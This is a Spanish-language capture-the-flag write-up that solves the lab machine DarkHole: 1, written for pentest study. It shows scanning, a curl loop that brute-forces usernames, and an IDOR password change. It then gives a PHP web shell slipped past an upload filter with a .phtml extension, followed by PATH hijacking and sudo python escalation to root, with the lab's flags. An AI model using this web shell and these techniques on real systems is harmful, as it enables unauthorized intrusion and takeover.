
DarkHole: 1
Enumeración
Iniciamos con la máquina comprobando la conectividad realizando un ping a la IP 192.168.6.120.
ping -c 1 192.168.6.120
❯ PING 192.168.6.120 (192.168.6.120) 56(84) bytes of data.
64 bytes from 192.168.6.120: icmp_seq=1 ttl=64 time=0.532 ms
--- 192.168.6.120 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.532/0.532/0.532/0.000 ms
En el output del comando ejecutado en el parámetro ttl se ve que el valor es 64, gracias a este parámetro se puede saber el sistema operativo que se está utilizando, en este caso un Linux.
TTL | OS |
---|---|
64 | GNU/Linux |
128 | Windows |
Vamos a utilizar la herramienta Nmap para escanear los puertos que estén abiertos y servicios que están asociados a estos.
nmap -p- --open -sCV -n --min-rate 5000 -Pn 192.168.6.120 -oN Scan ❯
Parámetros | Descripción |
---|---|
-p- | Indica que analice todos los puertos del 1 al 65535 |
--open | Únicamente se escanearan los puertos que estén abiertos |
-sC | Lanza scripts que tiene Nmap por defecto para detectar el tipo de servicio que este corriendo en un puerto |
-sV | Lanza scripts que tiene Nmap para saber que versión están utilizando los servicios |
-n | Se evita realizar resolución DNS |
--min-rate | Indica la cantidad de paquetes que se envían por segundo, en este caso 5000 |
-Pn | Deshabilita la búsqueda del host, solamente manda los paquetes a los puertos. |
-oN | Exporta el output del comando ejecutado a un archivo en formato nmap |
# Nmap 7.93 scan initiated Tue Feb 27 13:28:39 2024 as: nmap -p- --open -sCV -n --min-rate 5000 -Pn -oN Scan 192.168.6.120
Nmap scan report for 192.168.6.120
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e450d9505d913050e9b57dcab051db74 (RSA)
| 256 730c76866063060021c236203b99c1f7 (ECDSA)
|_ 256 54534c3f4f3a26f602aa9a24ea1b928c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: DarkHole
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:2E:49:72 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 27 13:28:49 2024 -- 1 IP address (1 host up) scanned in 9.59 seconds
Los puertos que se han descubierto son:
Puertos | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 8.2p1 |
80 | HTTP | Apache httpd 2.4.41 |
Busqueda de Vulnerabilidades
Viendo que esta el puerto 80 abierto accedemos a la pagina y nos encontramos con un botón que conduce a un panel de login:

Dentro del panel nos pide un usuario.

Antes de realizar cualquier bypass nos tratamos de crear un usuario.

Nos autenticamos ahora con el usuario creado.

Al acceder vemos que hay una opción para poder cambiar la contraseña.

Interceptamos la petición con BurpSuite.

Al recibir la petición vemos un ID.

Quiero pensar que el ID hace alusión al usuario, por lo que el ID 1 posiblemente sea el de algún usuario administrador.
Si cambiamos el id y enviamos la petición supuestamente le habremos cambiado la contraseña a ese usuario.

Vamos a realizar un ataque de fuerza bruta al panel de login para saber que usuario es, mediante un diccionario que contiene nombres de usuario.
for user in $(cat /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt); do curl -s -X POST "http://192.168.6.120/login.php" --data "username=$user&password=test" | grep "username or password is incorrect" 1>/dev/null || echo "El usuario es: $user"; done
❯ El usuario es: admin
Explotación
Sabiendo que el usuario es admin accedemos a la pagina como ese usuario con la diferencia de que ahora podemos subir archivos.

Tratamos de subir un archivo PHP con el cual podamos controlar los comandos que vayamos ejecutando mediante el parámetro cmd.
<?php
system($_GET['cmd']);
?>
Subimos el archivo pero solo nos permite extensiones jpg, png y gif.


Interceptamos la petición con BurpSuite.

Si cambiamos la extensión por otra de las que tiene php si que funciona.


Vemos que muestra una ruta donde reside el archivo que subimos /upload/.

Al acceder al archivo no interpreta el codigo PHP.

Probando diferentes extensiones vemos que la extensión phtml si que funciona.

Nos enviamos una Reverse Shell.

Post-explotación
Navegando por el sistema vemos que el directorio personal de trabajo del usuario john es accesible.

Dentro del directorio vemos que el archivo toto tiene permisos SUID permitiendo poder ejecutar el archivo como el propietario.

Al ejecutarlo vemos que ejecuta el comando id como el usuario john.

Tratamos de realizar un Path Hijacking para que el binario ejecute el archivo ID que nosotros vayamos a crear.
Creamos un archivo que contendrá el comando que queremos que ejecute el usuario john, en este caso que ejecute una bash.

Añadimos la ruta en la que se encuentra el archivo que hemos creado al PATH para que ejecute primero ese archivo y no el binario id.

Al ejecutar el binario SUID ya somos el usuario john.

Dentro del directorio de trabajo de john tambien se encuentra un archivo el cual contiene la contraseña de dicho usuario y la primera flag.
john@darkhole:/home/john$ ls -l
ls -l
total 28
-rwxrwx--- 1 john john 0 Feb 28 08:33 file.py
-rwxrwx--- 1 john john 8 Jul 17 2021 password
-rwsr-xr-x 1 root root 16784 Jul 17 2021 toto
-rw-rw---- 1 john john 24 Jul 17 2021 user.txt
john@darkhole:/home/john$ cat password
cat password
root123
john@darkhole:/home/john$ cat user.txt
cat user.txt
DarkHole{You_Can_DO_It}
john@darkhole:/home/john$
Tratando de ver los permisos que tiene ese usuario vemos que podemos ejecutar el archivo file.py como el usuario root, siendo un archivo el cual somos el propietario.

Añadimos al archivo python una linea de código la cual ejecute una bash.

Ejecutamos el archivo y ya como podemos observar ya recibimos la shell como el usuario root, obteniendo la ultima flag.
john@darkhole:~$ sudo /usr/bin/python3 /home/john/file.py
root@darkhole:/home/john# cd
root@darkhole:~# cat root.txt
DarkHole{You_Are_Legend}
root@darkhole:~#
Aqui se explica con detalle el AutoPWN de la máquina DarkHole1.
© 2025 - Mr. Pr1ngl3s